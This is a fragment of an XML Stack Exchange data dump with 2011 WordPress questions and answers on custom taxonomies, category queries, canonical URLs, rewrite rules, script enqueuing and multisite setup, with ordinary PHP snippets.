  <row Id="17257" PostTypeId="2" ParentId="17180" CreationDate="2011-05-14T21:53:39.040" Score="1" ViewCount="" Body="&lt;p&gt;From the Codex: &lt;a href=&quot;http://codex.wordpress.org/Creating_an_Archive_Index&quot; rel=&quot;nofollow&quot;&gt;Creating an Archives Page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a custom template file.&lt;/li&gt;&#xA;&lt;li&gt;Create a static Page.&lt;/li&gt;&#xA;&lt;li&gt;Assign the custom template to the static Page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-14T21:53:39.040" CommentCount="3" />
  <row Id="17259" PostTypeId="2" ParentId="17165" CreationDate="2011-05-14T21:59:40.810" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps because you named your custom taxonomy &quot;Categories&quot;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add new taxonomy, make it hierarchical (like categories)&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x( 'Categories', 'taxonomy general name' ),&#xA;        // ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy( 'product_category', array( 'product' ), array(&#xA;        // ...&#xA;        'labels' =&amp;gt; $labels,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try changing the values in your &lt;code&gt;$labels&lt;/code&gt; array that you pass to &lt;code&gt;register_taxonomy&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-14T21:59:40.810" />
  <row Id="17260" PostTypeId="2" ParentId="17254" CreationDate="2011-05-14T22:01:28.063" Score="1" ViewCount="" Body="&lt;p&gt;The problem is that you are using a conditional tag only after querying the posts, so you are getting post from all categories but only displaying the one that is in category 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to query (select) only posts from a specific category you need to alter the query using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;query_posts()&lt;/strong&gt;&lt;/a&gt; something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('cat=7');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just above your loop before this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-14T22:01:28.063" CommentCount="4" />
  <row Id="17261" PostTypeId="2" ParentId="17254" CreationDate="2011-05-14T22:02:19.233" Score="2" ViewCount="" Body="&lt;p&gt;it should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;in_category(7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;integer, not string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but a better way to do this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('cat=7');&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&#xA;endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-14T22:02:19.233" />
  <row Id="17262" PostTypeId="2" ParentId="17139" CreationDate="2011-05-14T22:15:36.437" Score="1" ViewCount="" Body="&lt;p&gt;You can hook into the &lt;code&gt;register_post&lt;/code&gt; action hook, and pass the email address through &lt;code&gt;is_email()&lt;/code&gt;, to which you can add a filter to disallow the characters (such as &quot;+&quot; used to create disposable email addresses).&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-14T22:15:36.437" />
  <row Id="17263" PostTypeId="2" ParentId="2348" CreationDate="2011-05-14T22:16:24.600" Score="0" ViewCount="" Body="&lt;p&gt;It's not as elegant as I'd like, but it does work: You can change your hosts file to point www.realdomain.com to localhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your request to www.realdomain.com will then come back to your local machine, find WordPress (if everything is set up correctly), and WordPress will work normally, since it doesn't realize that it is a local development environment in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are drawbacks, but this is a very quick-and-dirty fix.&lt;/p&gt;&#xA;" OwnerUserId="335" LastActivityDate="2011-05-14T22:16:24.600" />
  <row Id="17264" PostTypeId="2" ParentId="2348" CreationDate="2011-05-14T23:07:31.693" Score="0" ViewCount="" Body="&lt;p&gt;Okay, this is another cheezy solution, but it seems to work. To replace content that links to www.realdomain.com, you'd have to do more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this in your wp-config.php file after your database information is defined.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if( 'example-local' == $_SERVER['SERVER_NAME'] ) {&#xA;&#xA;        mysql_connect(DB_HOST, DB_USER, DB_PASSWORD) or die(mysql_error());&#xA;        mysql_select_db(DB_NAME) or die(mysql_error());&#xA;&#xA;        $queries[0] = &amp;lt;&amp;lt;&amp;lt;HEREDOC&#xA;&#xA;        UPDATE wp_blogs&#xA;        SET domain=&quot;example-local&quot;&#xA;        WHERE domain=&quot;www.example.org&quot;; &#xA;&#xA;HEREDOC;&#xA;&#xA;        $queries[1] = &amp;lt;&amp;lt;&amp;lt;HEREDOC&#xA;&#xA;        UPDATE wp_options &#xA;        SET option_value = replace( option_value, &quot;www.example.org&quot;, &quot;example-local&quot; ); &#xA;&#xA;HEREDOC;&#xA;&#xA;        for ($i = 4; $i &amp;lt; 9; $i++) {&#xA;&#xA;            $queries[] = 'UPDATE wp_' . $i . '_options &#xA;        SET option_value = replace( option_value, &quot;www.example.org&quot;, &quot;example-local&quot; );';&#xA;&#xA;        }   &#xA;&#xA;        foreach( $queries as $query ) { &#xA;&#xA;            $result = mysql_query( $query );&#xA;&#xA;            if (!$result) {&#xA;                die('Invalid query: ' . mysql_error());&#xA;            }&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="335" LastActivityDate="2011-05-14T23:07:31.693" />
  <row Id="17265" PostTypeId="1" AcceptedAnswerId="17267" CreationDate="2011-05-14T23:29:00.770" Score="0" ViewCount="45" Body="&lt;p&gt;I am moving my site from olddomain.com to newdomain.com. I want to keep all of the content at olddomain.com but I want the canonical version in google to be recognized as newdomain.com/whatever-post/ instead of the same thing at olddomain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I modify the rel=canonical in the  section of olddomain.com to make this change?&lt;/p&gt;&#xA;" OwnerUserId="3271" LastActivityDate="2011-05-15T00:54:45.307" Title="Custom Canonical URLs" Tags="&lt;seo&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17266" PostTypeId="1" CreationDate="2011-05-14T18:08:03.860" Score="0" ViewCount="63" Body="&lt;p&gt;In my WP site I've got a Contact page whose URL is mysite.com/contact/ and which contains a &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; with an action attribute set to action=&quot;/contact/&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on the submit button brings me to this : mysite.com/contact/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the exact URL of my contact page (which works very well if I use this URL). Yet, it gives a 404 after having arrived to that URL via the submit button !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't make any sense to me, anybody can explain?&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-14T23:58:11.833" LastActivityDate="2011-08-14T21:23:59.173" Title="Form in WordPress : 404" Tags="&lt;404-error&gt;&lt;forms&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17267" PostTypeId="2" ParentId="17265" CreationDate="2011-05-15T00:54:45.307" Score="0" ViewCount="" Body="&lt;p&gt;Unfortunately, there's no filter in the &lt;code&gt;rel_canonical()&lt;/code&gt; function. But you can remove that function from wp_head altogether and write your own. Try adding this to the functions.php at your old domain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action( 'wp_head', 'rel_canonical' );&#xA;add_action( 'wp_head', 'new_rel_canonical' );&#xA;&#xA;function new_rel_canonical() {&#xA;     if ( !is_singular() )&#xA;          return;&#xA;&#xA;      global $wp_the_query;&#xA;      if ( !$id = $wp_the_query-&amp;gt;get_queried_object_id() )&#xA;          return;&#xA;&#xA;      $link = get_permalink( $id );&#xA;      $link = str_replace( 'olddomain.com', 'newdomain.com', $link );&#xA;      echo &quot;&amp;lt;link rel='canonical' href='$link' /&amp;gt;\n&quot;;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, just replace olddomain.com and newdomain.com in the second to last line with your actual domain names!&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-15T00:54:45.307" />
  <row Id="17268" PostTypeId="1" AcceptedAnswerId="17279" CreationDate="2011-05-15T03:02:05.667" Score="0" ViewCount="333" Body="&lt;p&gt;Here is what I want to have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My category Structure in WP admin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cat Parent&#xA;  -Cat Child 1&#xA;  -Cat Child 2&#xA;  -Cat Child 3&#xA;  -Cat Child 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This what I want to have in one template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It show the list of post in Cat Parent Children Category&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cat Child 1&#xA; -Post1 Child 1&#xA; -Post2 Child 1&#xA; -Post3 Child 1&#xA; -So on... .&#xA;&#xA;Cat Child 2&#xA; -Post1 Child 2&#xA; -Post2 Child 2&#xA; -Post3 Child 2&#xA; -So on... .&#xA;&#xA;Cat Child 3&#xA; -Post1 Child 3&#xA; -Post2 Child 3&#xA; -Post3 Child 3&#xA; -So on... .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have done it before or anyone have an idea on how to code this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="420" LastActivityDate="2011-05-15T11:03:47.790" Title="How to get child category list post in one template?" Tags="&lt;categories&gt;&lt;posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17269" PostTypeId="1" CreationDate="2011-05-15T03:19:59.420" Score="1" ViewCount="125" Body="&lt;p&gt;First, let me tell you how I'm currently doing it. I have this function. It's purpose is to take the the string of a file system path (/root/web/dir/some/path/to/file) and return the equivalent URL (http://mydomain.com/some/path/to/file). In order for this function to work properly, it needs to know where the &lt;strong&gt;root web directory&lt;/strong&gt; (RWD) is on the system. It does this by assuming $_SERVER['DOCUMENT_ROOT'] as the RWD.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function path_to_url($path)&#xA;{&#xA;    $path = str_replace('\\', '/', $path);&#xA;    $doc_root = str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']);&#xA;&#xA;    return 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace(' ', '%20', str_replace($doc_root, '', $path));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please learn this function and know&#xA;  what it does in order to understand&#xA;  what I'm talking about in this post.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With this function, all I would need to know in order to include a script/stylesheet on my page is it's path. I would be writing code that looks something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('myscript', path_to_url(dirname(__FILE__).'/script.js'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This worked fine, in fact, it worked so well that I started to use path_to_url in a lot of places in my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's one reason why this solution doesn't work in some circumstances. Some shared hosting sites (bluehost) don't have $_SERVER['DOCUMENT_ROOT'] set to the RWD as I expected and assumed it to be. Bluehost seems to always have it set to &quot;/usr/local/apache/htdocs&quot; which does not correlate with the paths I use within PHP -- &quot;/home1/demo/public_html/wp-content/themes/...&quot;. So I must either give a work around to those most unfortunate to have $_SERVER['DOCUMENT_ROOT'] set to something as incorrect (at least to my knowledge of it seeming to be incorrect) as the above, or I should figure out another means of doing what I want/need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution would be to somehow correct $_SERVER['DOCUMENT_ROOT']. But this doesn't seem like a valid solution for my customers. They would need to submit a support ticket notifying me that my theme isn't working. Then I would need to reply with a message on how they can fix the issue. But before I could simply reply to them with a solution, I will need to know their RWD somehow. This would be a very cumbersome solution and would require more time and effort then seems practical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm left with the second solution -- figure out another means of doing what I &lt;em&gt;need&lt;/em&gt; to do. While writing this I figured that I could go with the hard-coded approach, and maybe that's the only way to go about this problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('script', get_bloginfo('template_url').'/lib/framework/panel/script.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After all my explanation, this seems like a no-brainer. But the only quarrel I have with this is how rigid it is. For example, if I decide to move my script.js file around, I'll need to edit this code, no matter what. What I like about the above path_to_url solution, is that if I moved the script.js and the php template file, nothing breaks; so long as the script.js file stays in the same folder as the php template file. In fact, what I was doing with the path_to_url solution is making things relative again, relative to the php template file!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately though, I realize that it is not practical to expect there's one formula for converting &lt;em&gt;all&lt;/em&gt; file system paths on &lt;em&gt;all&lt;/em&gt; systems to URLs. This is due to the fact that there are different server configurations that make it impossible for one formula to know the RWD in a path. For example, one server could have a setup where wordpress is installed under &lt;a href=&quot;http://example.com/~demo/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/~demo/&lt;/a&gt; and the RWD would be /home1/demo/public_html/. Thus there's no way I can get the RWD our of __FILE__ with this kind of setup. How could I?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you found this post/question interesting. I'll leave you with this question: How can I make &lt;code&gt;wp_enqueue_script('script', get_bloginfo('template_url') . '/lib/framework/panel/script.js');&lt;/code&gt; more relative and less rigid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys. Peace!&lt;/p&gt;&#xA;" OwnerUserId="2776" LastActivityDate="2011-08-13T07:23:24.190" Title="What's the proper way to use wp_enqueue_script/style?" Tags="&lt;php&gt;&lt;urls&gt;&lt;directory&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17270" PostTypeId="1" CreationDate="2011-05-15T03:30:42.570" Score="0" ViewCount="122" Body="&lt;p&gt;I'm trying to use fancybox jquery plugin in my wordpress portfolio page, I have 6 work items each one showing an image with a title and a small description, these items are being displayed dinamically with the help of custom post types and a loop for the custome type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To each post type item i have added a featured image using the_post_thumbnail which is the image for each work item, but I need to add a full image (Another image Not a resized one) for only two of these items so they are linked with a .fancybox class to this full image so fancybox can do its thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have but it's not right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;    $large_image_url = wp_get_attachment_url($post-&amp;gt;ID); &#xA;&#xA; if ( has_post_thumbnail() &amp;amp;&amp;amp; count($large_image_url) == 2 ) {&#xA;   echo '&amp;lt;a class=&quot;fancybox&quot; href=&quot;' . $large_image_url[0] . '&quot; title=&quot;' . the_title_attribute('echo=0') . '&quot; &amp;gt;';&#xA;   the_post_thumbnail('full',array( 'class' =&amp;gt; 'frame'));&#xA;   echo '&amp;lt;/a&amp;gt;';&#xA; } else {&#xA;     the_post_thumbnail('full',array( 'class' =&amp;gt; 'frame')); &#xA; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what I'm trying to do is, I know i have uploaded using the worpdress media library one normal size image as the featured image and another for the full size image, so in the code i'm trying to condicionaly say if has post_thumbnail and in the library there are two images show a link to the full image wrapping the img normal size wich is the post_thumbnail else just show the post_thumbnail. Any question just ask, sorry for my english.&lt;/p&gt;&#xA;" OwnerUserId="5379" LastEditorUserId="5379" LastEditorDisplayName="" LastEditDate="2011-05-15T03:36:24.417" LastActivityDate="2011-05-15T03:36:24.417" Title="Need to add full size image in wordpress loop for fancybox" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;loop&gt;&lt;media-library&gt;" />
  <row Id="17271" PostTypeId="2" ParentId="17269" CreationDate="2011-05-15T04:09:28.817" Score="0" ViewCount="" Body="&lt;p&gt;Do this at the head of your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define('PATH_TO_URL', get_bloginfo('template_url') . [path to your libraries, etc.]);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, just call &lt;code&gt;wp_enqueue_script('script', PATH_TO_URL . 'myscript.js');&lt;/code&gt; or similar anywhere you want. If you change the location, just change the define() and it'll update everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy peasy.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-05-15T04:09:28.817" CommentCount="5" />
  <row Id="17272" PostTypeId="1" CreationDate="2011-05-15T04:47:33.813" Score="0" ViewCount="86" Body="&lt;p&gt;I'm having trouble with the 'Remote Login' option of MultiSite domain mapping. I have a local dev install which allows me to swap between network blogs &lt;em&gt;without&lt;/em&gt; needing to login to each blog individually (which is my understanding of what Remote Login allows?). But the live version of the Network forces all users to login to each network blog individually (which is frustrating).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have picked Otto's brain about it --as he mentioned some time ago that the Remote Login feature was &quot;iffy at best&quot;-- and he suggest he's not had any later success without custom scripting. @pwcc has had success with it though not whilst using Theme My Login plugin (which I'm using).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions anyone?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have tested in multiple browser, and cleared cookies&lt;/li&gt;&#xA;&lt;li&gt;I do not have any cache plugins installed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3842" LastActivityDate="2011-08-11T15:22:23.830" Title="'Remote Login' with MultiSite Domain Mapping still forcing users to login to all blogs individually?" Tags="&lt;multisite&gt;&lt;login&gt;&lt;remote&gt;" AnswerCount="1" />
  <row Id="17273" PostTypeId="1" CreationDate="2011-05-15T05:18:35.703" Score="1" ViewCount="125" Body="&lt;p&gt;I dont know why my custom post types render the Page not found. This is the code I am using to register custom posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com/products/product1/&lt;/code&gt; renders 404 where as &lt;code&gt;www.example.com/?products=product1&lt;/code&gt; is perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_post_type' );&#xA;function create_post_type() {&#xA;    register_post_type('products', array(&#xA;        'label' =&amp;gt; __('Products'),&#xA;        'singular_label' =&amp;gt; __('Product'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true, // UI in admin panel&#xA;        '_builtin' =&amp;gt; false, // It's a custom post type, not built in!&#xA;        '_edit_link' =&amp;gt; 'post.php?post=%d',&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;products&quot;), // Permalinks format&#xA;        'supports' =&amp;gt; array('title','author')&#xA;    ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2011-05-16T08:05:33.200" Title="Custom Post Types 404 Issue" Tags="&lt;custom-post-types&gt;&lt;template&gt;&lt;404-error&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17274" PostTypeId="2" ParentId="17273" CreationDate="2011-05-15T05:33:52.910" Score="2" ViewCount="" Body="&lt;p&gt;Have you refreshed your rewrite rules? You can do this by resaving your permalink settings under Settings&gt;Permalinks in the admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a plugin or theme you are distributing you can call &lt;code&gt;$wp_rewrite-&amp;gt;flush_rules();&lt;/code&gt; upon activation.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2011-05-15T05:33:52.910" CommentCount="1" />
  <row Id="17275" PostTypeId="2" ParentId="7927" CreationDate="2011-05-15T06:20:50.170" Score="0" ViewCount="" Body="&lt;p&gt;Another option that I've seen eliminates the WordPress export/import option and goes directly to SQL dumps. The basic procedure is to create the new domain in multisite to get the ID, tables, etc., then do a SQL dump from the original, remove some tables from the dump (options, etc.), modify the remaining table names within the dump to match the database table names in multisite, then import the SQL dump and do housekeeping (author IDs, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step-by-step at &lt;a href=&quot;http://www.clausconrad.com/blog/migrating-a-bunch-of-wordpress-blogs-to-a-single-wordpress-3-multi-site-installation&quot; rel=&quot;nofollow&quot;&gt;http://www.clausconrad.com/blog/migrating-a-bunch-of-wordpress-blogs-to-a-single-wordpress-3-multi-site-installation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="458" LastActivityDate="2011-05-15T06:20:50.170" />
  <row Id="17276" PostTypeId="2" ParentId="15954" CreationDate="2011-05-15T06:34:04.900" Score="1" ViewCount="" Body="&lt;p&gt;hello is a great plugin or adaptation of registration, I'm looking for something like this but to enter the site roles.&#xA;I am creating a site for models and hostesses so I need to do to enter their respective roles would be recorded models, photographers, model agencies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.entremodelos.com/en/&quot; rel=&quot;nofollow&quot;&gt;demo web login&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;click login of the demo page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="5381" LastActivityDate="2011-05-15T06:34:04.900" />
  <row Id="17277" PostTypeId="1" CreationDate="2011-05-13T18:57:20.420" Score="0" ViewCount="42" Body="&lt;p&gt;So, either I'm searching for a plugin or I'll try to develop one for this purpose but I can't seem to find anything applicable. Perhaps I wasn't searching with the correct terms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have setup is something like this: there are 3 types of posts/pages that I want to relate to one another. Lets say I have a baseball player as a post. That player has an agent and a team they play for. When I go to their edit-post area in the Wordpress admin I want to be able to have a drop-down list that allows the admin to choose who their agent is from a pool of all agent's in the system. A similar drop down would let you designate what team they play for from a pool of all teams in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to this, each team and each agent would have the same functionality. As an admin, you would be able to inter-relate each type of post (player/team/agent) using a similar method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it would look in the database for all of the posts with the category &quot;player&quot;, &quot;team&quot; and &quot;agent&quot;, then let you link them together, either once or multiple instances for a post so that when you go to the players page, you can find out their agent's info and their team info, all with the ability to go to the agent's post or team post as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea if something exists or what I may be looking for? &lt;/p&gt;&#xA;" LastActivityDate="2011-05-15T06:34:23.277" Title="Wordpress - manually relate a post to page(s)?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="17278" PostTypeId="2" ParentId="17277" CreationDate="2011-05-13T20:08:27.127" Score="2" ViewCount="" Body="&lt;h3&gt;Unfortunately Post or object relationships is not possible in WordPress without doing a lot of extra work.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This feature is being actively discussed on this &lt;strong&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14513&quot; rel=&quot;nofollow&quot;&gt;trac ticket&lt;/a&gt;&lt;/strong&gt; any additional support for this would help our case of getting this included in core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your only options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a plugin and modify it to fit your use case&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.zigpress.com/wordpress/plugins/zigconnect/&quot; rel=&quot;nofollow&quot;&gt;http://www.zigpress.com/wordpress/plugins/zigconnect/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posts-to-posts/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Map your posts to specially crafted taxonomies. (slow)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Store relationships in postmeta. (very slow if you ever need to use that in a join statement)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create your own post2post table.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Further Reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/16292/linking-two-post-types&quot;&gt;http://wordpress.stackexchange.com/questions/16292/linking-two-post-types&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8078/how-to-insert-content-from-another-custom-post-type-into-post&quot;&gt;http://wordpress.stackexchange.com/questions/8078/how-to-insert-content-from-another-custom-post-type-into-post&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6404/is-it-possible-to-have-shared-wordpress-custom-post-types&quot;&gt;http://wordpress.stackexchange.com/questions/6404/is-it-possible-to-have-shared-wordpress-custom-post-types&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/15456/how-does-scribus-posts-2-posts-work&quot;&gt;http://wordpress.stackexchange.com/questions/15456/how-does-scribus-posts-2-posts-work&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11899/how-do-i-use-the-wordpress-plugin-posts-2-posts-by-scribu&quot;&gt;http://wordpress.stackexchange.com/questions/11899/how-do-i-use-the-wordpress-plugin-posts-2-posts-by-scribu&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-13T20:08:27.127" CommentCount="1" />
  <row Id="17279" PostTypeId="2" ParentId="17268" CreationDate="2011-05-15T07:55:23.340" Score="1" ViewCount="" Body="&lt;p&gt;get the child categories, using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;get_categories()&lt;/a&gt;;&#xA;then loop through them with a foreach loop, using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query()&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  $cats = get_categories('child_of='.get_query_var('cat')); &#xA;&#xA;    foreach ($cats as $cat) :&#xA;&#xA;    $args = array(&#xA;    'posts_per_page' =&amp;gt; 3, // max number of post per category&#xA;    'category__in' =&amp;gt; array($cat-&amp;gt;term_id)&#xA;    );&#xA;    $my_query = new WP_Query($args); &#xA;&#xA;        if ($my_query-&amp;gt;have_posts()) : &#xA;        echo '&amp;lt;h3&amp;gt;'.$cat-&amp;gt;name.'&amp;lt;/h3&amp;gt;';&#xA;&#xA;        while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;     &#xA;        &amp;lt;?php /*general loop output; for instance: */ ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;    &amp;lt;br /&amp;gt;  &#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php else : &#xA;        echo 'No Posts for '.$cat-&amp;gt;name;                &#xA;        endif; &#xA;&#xA;    endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastEditorUserId="4884" LastEditorDisplayName="" LastEditDate="2011-05-15T11:03:47.790" LastActivityDate="2011-05-15T11:03:47.790" CommentCount="3" />
